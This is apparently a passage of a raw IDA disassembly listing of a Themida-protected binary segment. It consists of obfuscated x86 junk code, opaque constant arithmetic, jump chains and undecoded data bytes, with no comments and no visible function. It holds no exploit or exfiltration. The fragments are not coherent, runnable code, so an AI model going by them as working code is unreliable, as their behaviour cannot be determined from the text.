		dd 0F68149D8h, 74C548DCh, 2267E681h, 814E5AEBh,	0CD3E62C6h
		dd 0B72AE9FDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567C26:				; CODE XREF: Themida_:005695ACj
		push	edi
		jmp	loc_5663C8
; ---------------------------------------------------------------------------
		dd 0BE243489h, 4, 82CCE9h
		db 0
; ---------------------------------------------------------------------------


loc_567C39:				; CODE XREF: Themida_:0055CA4Cj
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 774D43C5h
		sub	ebp, 774D43C1h
		add	esi, ebp
		pop	ebp
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_568816
; ---------------------------------------------------------------------------


loc_567C5F:				; CODE XREF: Themida_:005702F5j
		add	eax, edi
		jmp	loc_5611F6
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 0FFFFBA89h, 0BC00E959h, 0C483FFFFh, 24048F04h, 0E924248Bh
		dd 4137h, 0B753505Ah, 5805E96Fh, 1968FFFFh, 89000002h
		dd 4682414h, 5A000000h,	5C09B850h, 0C7294CFFh, 0D0B5E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567CA6:				; CODE XREF: Themida_:00570EE3j
		mov	esi, 4
		jmp	loc_56A9BB
; ---------------------------------------------------------------------------
		dd 434EC781h, 0DF010208h, 434EEF81h, 0DBE90208h
		db 56h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567CC3:				; CODE XREF: Themida_:0056121Fj
		push	ebp
		push	edi
		push	3877444Fh
		pop	edi
		mov	ebp, 1E7FE047h
		add	ebp, edi
		pop	edi
		add	ebp, 0A908DB6Eh
		add	edi, 3CD25AA2h
		add	edi, ebp
		sub	edi, 3CD25AA2h
		pop	ebp
		jmp	loc_560BAB
; ---------------------------------------------------------------------------
aISJ		db '<$!J',0
		dd 0F5685C00h, 8900002Fh, 0F2892414h, 4EC81h, 4DE90000h
		dd 5A000012h, 66F02966h, 660EFB05h, 8124348Bh, 2C4h, 25076800h
		dd 0C890000h, 0D1B96624h, 50576623h, 74EEB866h,	0FFF50DE9h
		dd 283B2CFFh, 39BEE9D0h, 0EB010000h, 0E789575Dh, 4C781h
		dd 4CE90000h, 68FFFFADh, 244Eh,	0BE243489h, 4, 0FFD4E4E9h
		dd 0C6BB53FFh, 2178404Bh, 82055BD8h, 1FFFFFCh, 0E98358C1h
		dd 74FF5104h, 0F6E90424h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567D7F:				; CODE XREF: Themida_:0056E17Cj
		add	eax, ecx
		push	7239h
		jmp	loc_55DDF0
; ---------------------------------------------------------------------------
		db 0B2h
		dd 80D2F6C5h, 0DAF62EF2h, 88D0F280h, 0E1285AD4h, 8124048Bh
		dd 4C4h, 0B4E3E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567DAA:				; CODE XREF: Themida_:00566CB8j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_56EEE2
; ---------------------------------------------------------------------------
		dd 24148B54h, 3DBCE9h, 0BD555A00h, 2, 86E9E801h, 5CFFFFCEh
		dd 24048B66h, 29B68h, 240C8900h, 0FFC357E9h, 0C8966FFh
		dd 4531E924h, 1489FFFFh, 76CFBA24h, 0EAD15CCDh,	0EA81DAF7h
		dd 0FFFFFFFFh, 0B77C281h, 0C2817D5Ah, 2A400A58h, 0CE26C281h
		dd 0D609B20Bh, 0D8EE815Ah, 2975FF5Ch, 0C2315EF3h, 0FF44FAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567E29:				; CODE XREF: Themida_:0055C9ACj
		push	edi
		pop	esi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_56AC4D
; ---------------------------------------------------------------------------


loc_567E43:				; CODE XREF: Themida_:00567F96j
		mov	esi, esp
		push	764Ch
		mov	[esp], edx
		mov	edx, 27115862h
		jmp	loc_56C91E
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0FFC5015Bh, 0E9582434h, 0FFFFE63Dh, 405E089h, 2D000000h
		dd 4, 5C240487h, 2B8AE9h
		db 0
; ---------------------------------------------------------------------------


loc_567E79:				; CODE XREF: Themida_:0056A858j
		pop	esi
		jmp	loc_567BAC
; ---------------------------------------------------------------------------
		db 68h
		dd 64815FFDh, 1FC6815Eh, 5548BE4Bh, 3D65C5BDh, 5DEE29A4h
		dd 348BF289h, 0ECECE924h, 0EC68FFFFh, 0E900003Eh, 0FFFF5A8Eh
		dd 0BE243489h, 4, 6AA3C581h, 0ED8166EEh, 772A58F2h, 0E957F501h
		dd 0FFFF50C2h
; ---------------------------------------------------------------------------


loc_567EC4:				; CODE XREF: Themida_:00565475j
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		jmp	loc_56A5F5
; ---------------------------------------------------------------------------
		db 5Dh
		dd 1121E981h, 0E92953EBh, 6324E9h, 24248900h, 4240481h
		dd 5F000000h, 6D48B850h, 0E956611Ch, 8CA5h, 2D74C581h
		dd 0E5815564h, 3DB11C91h, 6C05E945h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567F0E:				; CODE XREF: Themida_:0055C4FEj
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_55D134
; ---------------------------------------------------------------------------
		dw 82B9h
		dd 81418B46h, 0EE7630F1h, 3C81E96Eh, 0EC830000h, 242C8904h
		dd 6697B850h, 75BD1438h, 10FD809h, 24048BC5h, 0E904C483h
		dd 0FFFFA1FAh
; ---------------------------------------------------------------------------


loc_567F4C:				; CODE XREF: Themida_:00563B55j
		push	ebx
		pop	ecx
		push	ecx
		jmp	loc_565E9D
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 4EC8300h, 0FF241C89h, 8B042474h, 0C481241Ch
		dd 4, 8B24048Fh, 8B662424h, 89532404h, 4C381E3h, 83000000h
		dd 1C8704EBh, 0C895C24h, 81B1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567F92:				; CODE XREF: Themida_:0055EC05j
		shr	ecx, 2
		push	esi
		jmp	loc_567E43
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0E243C781h, 0FB010684h, 5F2434FFh, 4EC81h, 0C890000h
		dd 10816824h, 24890000h, 24048324h, 240C8B04h, 4C481h
		dd 0C1810000h, 4, 5104C183h, 42474FFh, 0FFFC93E9h, 241C87FFh
		dd 0E924248Bh, 1D7Ch, 0E904E1C1h, 0FFFFF083h, 81DAF74Ah
		dd 0F6FF0AF2h, 52BF05BFh, 0D02910C8h, 0C852BF2Dh, 24148B10h
		dd 81E2E950h, 74FFFFFFh, 0E95F0424h, 0FFFFBAC9h, 0B56BBEBBh
		dd 1CF75363h, 0C3815B24h, 795D6293h, 753BC581h,	0DD29611Ch
		dd 5A7FBB53h, 0C3813A7Dh, 7D3B1C8Ah, 0B4E9DBF7h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56803F:				; CODE XREF: Themida_:0055EFD3j
		add	[esp+8], edi
		pop	edi
		jmp	loc_564951
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 625E68h, 24248900h, 4BB53h, 5C010000h, 8B5B0424h, 89502404h
		dd 5E95E9E0h, 0DE010000h, 0BB53585Bh, 0A993CF4h, 81A7E9h
		db 0
; ---------------------------------------------------------------------------


loc_568079:				; CODE XREF: Themida_:0055C4B0j
		and	al, 0C5h
		xor	al, 5Dh
		or	al, 1
		sub	al, 0A8h
		dec	al
		sub	al, 2Eh
		jmp	loc_560D7A
; ---------------------------------------------------------------------------
		dw 8158h
		dd 62894F2h, 0B92AE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568096:				; CODE XREF: Themida_:0056DD7Bj
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55E971
; ---------------------------------------------------------------------------
		db 0BAh, 44h, 3Eh
		dd 0BE567517h, 6A202DE5h, 0DEB6C681h, 0F201D96Bh, 0FF4E5BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5680C5:				; CODE XREF: Themida_:0056EB55j
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_567378
; ---------------------------------------------------------------------------
aBa8s		db ')́"8',9,0
		db 0
byte_5680E1	db 0FFh, 32h, 0E9h	; DATA XREF: Themida_:0055C128o
		dd 0FFFF423Bh, 81664B66h, 6662D3EBh, 5733EB81h,	75EB8166h
		dd 8E07E92Dh, 1C8B0000h, 4C48324h, 81E18951h, 4C1h, 4E98300h
		dd 5C240C87h, 53241489h, 4BBh, 4714E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568122:				; CODE XREF: Themida_:005653BBj
		mov	[esp], edx
		push	ecx
		push	ebx
		jmp	loc_56FBAB
; ---------------------------------------------------------------------------
		dd 0FAA5E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568132:				; CODE XREF: Themida_:005668F7j
		add	[esp+8], ecx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		add	[esp+4], ecx
		push	esi
		mov	esi, 1EBE1994h
		sub	[esp+8], esi
		pop	esi
		jmp	loc_5710B8
; ---------------------------------------------------------------------------
		dw 5F50h
		dd 8124048Bh, 4C4h, 0C7BD5500h,	0C124E51Dh, 0EE907EDh
		dd 0BBFFFF73h, 16155C04h, 815BDD31h, 0BE1B12EEh, 81EE0155h
		dd 0BE1B12C6h, 2434FF55h, 0E689565Dh, 4C681h, 0EDE90000h
		dd 5CFFFF47h, 8B2434FFh, 89512414h, 4C181E1h, 0E9000000h
		dd 0FFFF5D92h, 8BC8295Ah, 8951240Ch, 7923E9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5681C6:				; CODE XREF: Themida_:00560E8Cj
		pop	edx
		sub	al, 13h
		sub	al, cl
		jmp	loc_56105C
; ---------------------------------------------------------------------------
		dd offset dword_5A5568
		dd 240C8900h, 60BAE9h
		db 0
byte_5681DD	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055C090o
aHhm		db '$hHm',0
		align 2
		dw 2C89h
		dd 10E95424h, 0B3000068h, 0E7CCE9A9h, 0BA52FFFFh, 6A2C02C1h
		dd 87E9D2F7h, 53FFFF60h, 14306BBBh, 84A7E948h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56820E:				; CODE XREF: Themida_:005636BFj
		pop	ecx
		sub	esp, 4
		jmp	loc_56C4C1
; ---------------------------------------------------------------------------
		dw 0F181h
a2qoS_		db '2Q;',9,'_',0
		db 0
; ---------------------------------------------------------------------------


loc_568227:				; CODE XREF: Themida_:00568619j
		sub	ecx, 5E8179F8h
		push	edx
		mov	edx, 5CE57061h
		xor	edx, 67FC4CDFh
		sub	ecx, edx
		jmp	loc_56F0CE
; ---------------------------------------------------------------------------
		dd 0E9243C89h, 0FFFF77F5h
; ---------------------------------------------------------------------------


loc_568248:				; CODE XREF: Themida_:0055EBFFj
		push	ecx
		jmp	loc_5604E7
; ---------------------------------------------------------------------------
word_56824E	dw 34FFh		; DATA XREF: Themida_:0055C0C4o
		dd 2434FF24h, 873BE958h, 8205FFFFh, 2922341Eh, 6BE968F8h
		dd 14890000h, 71FBBA24h, 0CA815B9Bh, 0ADF3956h,	63D1CA81h
		dd 0EA814401h, 0FFFFFFFFh, 23FAC281h, 0F28136B6h, 0B4A18178h
		dd 0FF5AD029h, 34FF2434h, 8B3BE924h, 0BF570000h, 1C8DE7B3h
		dd 3C8BFE01h, 4C48124h,	89000000h, 57535EF2h, 157D2BFh
		dd 14F7816Dh, 3174A73Bh, 46EFE9DFh, 0E8300000h,	928DE9h
		dd 98F18100h, 815D7E32h, 0B7440FE9h, 0CB96E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5682DA:				; CODE XREF: Themida_:00562F67j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		sub	ebp, 4E276389h
		sub	ebp, ebx
		push	edi
		mov	edi, 77514C2Ch
		jmp	loc_55F5AB
; ---------------------------------------------------------------------------
		dd 0BA1DE95Ah, 0F029FFFFh, 701BBD55h, 0E8011E41h, 2434FF5Dh
		dd 7CFDE9h, 74E95D00h, 81000091h, 743548C9h, 6D2E911h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56832A:				; CODE XREF: Themida_:0056AC48j
		sub	edx, ecx
		push	ebp
		push	eax
		mov	eax, 462D6013h
		shr	eax, 7
		add	eax, 0E90197h
		mov	ebp, eax
		jmp	loc_567093
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 24248B24h, 0FF3FD6E9h, 2434FFFFh, 5B2434FFh,	8304C483h
		dd 0C18304C4h, 0B282E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568362:				; CODE XREF: Themida_:0056F1EBj
		push	dword ptr [esp]
		pop	esi
		jmp	loc_56523A
; ---------------------------------------------------------------------------
		db 51h
		dd 0FF6D6BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568371:				; CODE XREF: Themida_:0055DFAEj
		push	eax
		jmp	loc_56A397
; ---------------------------------------------------------------------------
		db 89h
		dd 0DFBA2414h, 811CCC53h, 4ECh,	0F26FE900h, 4BDFFFFh, 0E9000000h
		dd 3835h
dword_568394	dd 68240C8Bh, 3BC1h, 89241489h,	0EC10E9E2h, 34FFFFFFh
					; DATA XREF: Themida_:0055C2D0o
		dd 0C4815A24h, 4, 8B24048Fh, 0C892424h,	4626824h, 1C890000h
		dd 0E9D38824h, 0FFFFC14Bh, 8904EC83h, 4812424h,	424h, 24048F00h
		dd 3EEE68h, 24348900h, 24EF68h,	0D617E900h, 0C681FFFFh
		dd 4FC104D8h, 4BB5B951h, 50556A04h, 6164AEB8h, 58C5893Ah
		dd 0C581DDF7h, 37AB4DF3h, 0B470F581h, 0EE01B308h, 57CE295Dh
		dd 415D35BFh, 5FFE294Eh, 243C8B59h, 0FF7493E9h,	4E8C1FFh
		dd 5E0F8E25h, 0EBEE97Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568432:				; CODE XREF: Themida_:00569B2Ej
		xchg	ebp, [esp]
		jmp	loc_57126E
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 101C6F2Dh, 575BDA29h, 0D738A1BFh, 0E9FA014Bh, 0FFFFB0C5h
		dd 5C241433h, 3B1EBF57h, 0DFF76C01h, 522CE9h
		db 0
; ---------------------------------------------------------------------------


loc_568461:				; CODE XREF: Themida_:0056CAD4j
		shr	eax, 0Eh
		jmp	loc_562E74
; ---------------------------------------------------------------------------


loc_568469:				; CODE XREF: Themida_:00565EB4j
		mov	edi, 7FB2682Ch
		push	edi
		not	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_55E844
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 34FF0424h, 242C8B24h, 4C481h, 89570000h, 45FEE9E7h
		dd 0E6890000h, 4C681h, 0C6810000h, 4, 5C243487h, 3664E9h
		db 0
; ---------------------------------------------------------------------------


loc_5684A9:				; CODE XREF: Themida_:005633E4j
		pop	esi
		mov	ebx, edx
		pop	edx
		jmp	loc_5624E0
; ---------------------------------------------------------------------------
		dw 489h
		dd 8074B424h, 0E32843EBh, 8B43C380h, 0C4812404h, 4, 0FFC0B60Fh
		dd 34FF8734h, 0C729E924h, 188FFFFh, 4932E9h, 15EF8100h
		dd 5E3DFC6Bh, 8124048Bh, 4C4h, 2BD5500h, 1000000h, 0FF575DEFh
		dd 8B042474h, 0C483243Ch, 41B1E904h, 18E9FFFFh,	8FFFFF3Eh
		dd 4812404h, 424h, 7979E900h, 0C181FFFFh, 4, 7C56E9h, 0B8E95300h
		dd 5B00008Ah, 4C381h, 0EC810000h, 4, 0B9240C89h, 619B0007h
		dd 8701E9h, 0DBB95D00h,	0E9CA6D7Ah, 0FFFF41A1h,	8B24048Fh
		dd 0F662424h, 9C2404ABh, 0FF3DC2E9h, 0C4835FFFh, 0E2895204h
		dd 5950B951h, 0F18105A3h, 205250DFh, 7341E181h,	0A0E96184h
		dd 33FFFFFDh, 2C31242Ch, 49CFE924h, 0BA520000h,	7E1359B8h
		dd 86BEA81h, 0D08933E1h, 2CBF055Ah, 8E9D976h, 81FFFF76h
		dd 4C4h, 7C076800h, 2C890000h, 8525E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5685B6:				; CODE XREF: Themida_:0056134Fj
		pop	eax
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xor	ebp, ebx
		xor	ebx, ebp
		xor	ebp, ebx
		jmp	loc_562F7D
; ---------------------------------------------------------------------------
		dd 48BC389h, 0E04FE924h, 481FFFFh, 424h, 24048F00h, 4240481h
		dd 0E9000000h, 0FFFFC33Fh
; ---------------------------------------------------------------------------


loc_5685EC:				; CODE XREF: Themida_:0056E051j
		neg	ecx
		push	edx
		push	eax
		mov	eax, 22341F7Ch
		mov	edx, 3C1E58F8h
		add	edx, eax
		pop	eax
		inc	edx
		inc	edx
		neg	edx
		push	ecx
		push	62240E30h
		pop	ecx
		sub	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	edx, 0AD871659h
		jmp	loc_568227
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 83000000h,	545004C4h, 91DDE958h, 3CBEFFFFh
		dd 0E9008004h, 52C1h, 4AFFB951h, 0E9C153D6h, 0D5F18103h
		dd 29415089h, 0E68159CEh, 4B8F134Bh, 3479E9h, 88D78800h
		dd 73E95BFDh
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568663:				; CODE XREF: Themida_:0055FEEEj
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_56E385
; ---------------------------------------------------------------------------
		db 81h
		dd 9184CC7h, 5FFE8926h,	413E681h, 0DEF736DDh, 679BBD55h
		dd 8CE940F5h
		db 0DAh, 2 dup(0FFh)
byte_568693	db 0ACh			; DATA XREF: Themida_:0055C0C0o
		dd 4EC81h, 0C9E90000h, 83000047h, 248904ECh, 24048324h
		dd 0B05E904h, 0E1810000h, 5DAD6C76h, 3D1EE981h,	0F7E949D3h
		dd 0BBFFFF61h, 2, 5268E9h, 348B5400h, 4C48124h,	68000000h
		dd 62F2h, 0B9240C89h, 4, 8359CE01h, 8DE904EEh, 0BB000040h
		dd 4, 1C8BD829h, 4C48124h, 68000000h, 5C07h, 0FF240489h
		dd 58042474h, 5C24048Fh, 0FFF4A3E9h, 0C781FFh, 0E902A987h
		dd 0FFFFB251h, 4C581h, 0C5810000h, 4, 31242C33h, 2C33242Ch
		dd 24248B24h, 6B31C581h, 0ED817D76h, 659C538Dh,	0C581DD01h
		dd 659C538Dh, 719EBA52h, 0F28167BDh, 5FBA7F4Dh,	5C5EC281h
		dd 0D529456Fh, 0B74BE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568762:				; CODE XREF: Themida_:0056DBB9j
		not	ebp
		jmp	loc_5612D1
; ---------------------------------------------------------------------------
		db 0B9h, 2 dup(0FFh)
		dd 0CE01FFFFh, 0B8DAE959h, 5256FFFFh, 0C408E4BAh, 0E9D68939h
		dd 8E0Ch
; ---------------------------------------------------------------------------


loc_568784:				; CODE XREF: Themida_:0056404Bj
		add	ecx, 36897258h
		push	edi
		jmp	loc_55D8F1
; ---------------------------------------------------------------------------


loc_568790:				; CODE XREF: Themida_:0056D446j
		xor	edi, [esp]
		pop	esp
		jmp	loc_5704F7
; ---------------------------------------------------------------------------
		db 89h,	0F9h, 8Bh
		dd 69E9243Ch, 5F000003h, 2AEFBF57h, 0FD01593Dh,	68F5015Fh
		dd 113h, 0B9240C89h, 593D2AEFh,	18E9CD29h, 66FFFF6Dh, 83242C89h
		dd 6FE902ECh, 89000072h, 79BF243Ch, 0F709E548h,	0E6C7E9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5687DE:				; CODE XREF: Themida_:0056EF42j
		xchg	eax, [esp]
		pop	esp
		add	ebx, eax
		jmp	loc_55C956
; ---------------------------------------------------------------------------
aIxrsz		db 'RZ+',0
		db 0
; ---------------------------------------------------------------------------


loc_5687F1:				; CODE XREF: Themida_:0056B04Aj
		pop	edx
		push	507Dh
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_55D772
; ---------------------------------------------------------------------------
		dw 3C33h
		dd 14895C24h, 51E28924h, 4B9h, 5DEE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568816:				; CODE XREF: Themida_:00567C5Aj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebx
		push	edi
		jmp	loc_56F69D
; ---------------------------------------------------------------------------


loc_56882D:				; CODE XREF: Themida_:00564A01j
		pop	ebx
		push	ebp
		jmp	loc_55FEE3
; ---------------------------------------------------------------------------
dword_568834	dd 24048B66h, 0E9E68956h, 0FFFFBBEAh, 33241C31h, 1C31241Ch
					; DATA XREF: Themida_:0055C1F4o
		dd 2F56E924h, 4810000h,	0B66A1124h, 242C8159h, 3E1B3A9Dh
		dd 0FFB8E7E9h, 0C4835FFFh, 8BC72104h, 0C4832404h, 44B85004h
		dd 31246030h, 0FA0158C7h, 2BE565Fh, 1000000h, 14335EF2h
		dd 24143124h, 8B241433h, 89522424h, 23B850E2h, 35783157h
		dd 700E3C02h, 1798BF57h, 0F829141Fh, 7F57E95Fh,	0D8680000h
		dd 8900005Ah, 74FF2434h, 348B0424h, 5F545724h, 4B850h
		dd 0CFE90000h, 52FFFFB8h, 0C281E289h, 4, 8704C283h, 73E92414h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5688DB:				; CODE XREF: Themida_:0056A2CBj
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_56E06B
; ---------------------------------------------------------------------------


loc_568904:				; CODE XREF: Themida_:0055CC96j
		sub	ebp, edx
		sub	ebp, 389F67ABh
		pop	edx
		jmp	loc_55F1E5
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 273F6463h, 0AC2AE959h, 8153FFFFh, 7E5242Ch, 1EE96884h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56892B:				; CODE XREF: Themida_:0056EEB1j
		add	edx, eax
		pop	eax
		sub	edx, 79956425h
		push	dword ptr [edx]
		xor	dword ptr [esp], 81952B7h
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_55FF33
; ---------------------------------------------------------------------------
		dd 4590B951h, 83E93106h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568953:				; CODE XREF: Themida_:0056B476j
		xor	eax, 73CC2D53h
		or	eax, 3C503C74h
		jmp	loc_564A3B
; ---------------------------------------------------------------------------
		dw 0D501h
		dd 0E924148Bh, 0FFFF5353h, 4C781h, 0E9560000h, 0FFFF95DDh
; ---------------------------------------------------------------------------


loc_568978:				; CODE XREF: Themida_:0056D068j
		mov	esi, [esp]
		add	esp, 4
		add	eax, 2C6E073Bh
		and	eax, 17757C18h
		jmp	loc_57007E
; ---------------------------------------------------------------------------
		dd 4C18159h, 83000000h,	0C8704E9h, 24248B24h, 0E9242489h
		dd 464Fh
; ---------------------------------------------------------------------------


loc_5689A8:				; CODE XREF: Themida_:00565240j
		pop	esi
		push	ebx
		mov	ebx, esp
		jmp	loc_56D5AA
; ---------------------------------------------------------------------------
		db 80h,	0EAh, 0Fh
		dd 0C280D2F6h, 0AEA8025h, 305AD500h, 0C33059E8h, 66C0B60Fh
		dd 5224148Bh, 0C281E289h, 4, 4EA81h, 14870000h,	66E95C24h
		dd 89FFFFF6h, 5B54241Ch, 0D404E952h, 0C781FFFFh, 4, 0E904C783h
		dd 1798h, 354DBF57h, 0F93131F4h, 0FFBBEEE9h, 240C89FFh
		dd 0FF8125E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568A11:				; CODE XREF: Themida_:0056A65Ej
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_570EBD
; ---------------------------------------------------------------------------


loc_568A1C:				; CODE XREF: Themida_:00567B92j
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	eax
		push	ebp
		push	esp
		pop	ebp
		push	ecx
		mov	ecx, 56B312C2h
		not	ecx
		neg	ecx
		push	ebx
		jmp	loc_562C2B
; ---------------------------------------------------------------------------


loc_568A36:				; CODE XREF: Themida_:00563889j
		push	ebx
		jmp	loc_5692B5
; ---------------------------------------------------------------------------
		dd 2414895Ch, 88DBB450h, 2FE958E2h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568A4B:				; CODE XREF: Themida_:0055D79Dj
		pop	ebp
		add	ebp, 68C1249Ah
		pop	eax
		jmp	loc_5692E6
; ---------------------------------------------------------------------------
		dd 0E9241487h, 0FFFFA20Ch, 51C1B450h, 0FFC5ECE9h, 243C87FFh
		dd 6E82E9h, 0C5815D00h,	4, 4C581h, 2C330000h, 242C3124h
		dd 0E9242C33h, 0FFFF8C47h, 2F2568h, 243C8900h, 0D859AABFh
		dd 0F4EF812Ch, 4F6F1772h, 6CC4EF81h, 0DFF76184h, 0BAE9DFF7h
		dd 59FFFFC8h, 53F2E981h, 0B1E9745Ch, 89FFFFA4h,	0E589242Ch
		dd 4C581h, 0C5810000h, 4, 1ECFE9h, 241C8900h, 89505350h
		dd 4EC83E0h, 0B9240C89h, 2FF244EBh, 8103E1C1h, 922754E9h
		dd 59C8017Fh, 10A2E9h, 0C4815A00h, 4, 6659EB88h, 20B35351h
		dd 0E95BD988h, 0FFFFE2F8h, 104C483h, 240C8BCEh,	148B5452h
		dd 6E33E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568B1E:				; CODE XREF: Themida_:00562B88j
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		push	5624h
		mov	[esp], esi
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		not	edi
		jmp	loc_56A843
; ---------------------------------------------------------------------------


loc_568B46:				; CODE XREF: Themida_:00564646j
		push	ebp
		mov	ebp, 3D3B3833h
		shl	ebp, 5
		jmp	loc_57068A
; ---------------------------------------------------------------------------


loc_568B54:				; CODE XREF: Themida_:00562837j
		xchg	eax, esi
		not	eax
		xchg	eax, esi
		jmp	loc_569692
; ---------------------------------------------------------------------------


loc_568B5D:				; CODE XREF: Themida_:0056CEE2j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_569146
; ---------------------------------------------------------------------------
		db 4Eh
		dd 4EC81h, 7BE90000h, 66FFFFF2h, 6641FB68h, 66241489h
		dd 520001BAh, 50F6BA66h, 657DE9h
		db 0
; ---------------------------------------------------------------------------


loc_568B8D:				; CODE XREF: Themida_:005672D5j
		pop	eax
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 7A9A318Eh
		sub	eax, 0DC25F86h
		neg	eax
		push	0
		sub	[esp], eax
		pop	eax
		jmp	loc_55EC0A
; ---------------------------------------------------------------------------
dword_568BAC	dd 0A7E9028Fh, 83000010h, 0FF5602C6h, 5E042474h, 8B24048Fh
					; DATA XREF: Themida_:0055C05Co
		dd 56662424h, 99686655h, 665D6626h, 6607EDC1h, 1B28ED81h
		dd 5DEE8966h, 3B43E9h, 24148B00h, 8104C483h, 0C70A9AC2h
		dd 0BBF2811Ch, 895E086Bh, 0DFE95AD0h, 89FFFF45h, 0E189240Ch
		dd 4BF57h, 0F9010000h, 0FF6417E9h, 241C8BFFh, 55E68956h
		dd 4BDh, 8BEE0100h, 0C483242Ch,	0E9535504h, 0FFFF6688h
		dd 0E954515Ah, 1EB2h, 8B24048Fh, 0C8842424h, 36E9E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568C3A:				; CODE XREF: Themida_:0056EEDDj
		xchg	edi, [esp]
		jmp	loc_56CE40
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 4C181h, 0C870000h, 0DA295C24h, 799DE95Bh,	0D1F70000h
		dd 0C721C181h, 0CA094B52h, 1C28359h, 81E18951h,	4C1h, 0B5D5E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568C76:				; CODE XREF: Themida_:0056F93Cj
		push	ebp
		push	ecx
		push	387A550Ah
		pop	ecx
		and	ecx, 7C3C5888h
		xor	ecx, 41C86472h
		dec	ecx
		xor	ecx, 79F0347Dh
		mov	ebp, ecx
		pop	ecx
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	777Ch
		mov	[esp], edi
		mov	edi, 57355500h
		add	edi, 0FFFFFFFFh
		jmp	loc_560C4C
; ---------------------------------------------------------------------------
		dd 0EE81EE01h, 7FBA0A9Ah, 2434335Dh, 33243431h,	248B2434h
		dd 5B30E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568CCE:				; CODE XREF: Themida_:005607BCj
		sub	eax, 1
		inc	eax
		inc	eax
		sub	eax, 55093794h
		dec	eax
		sub	eax, 0ADACCE8Ah
		push	edi
		jmp	loc_564FDE
; ---------------------------------------------------------------------------
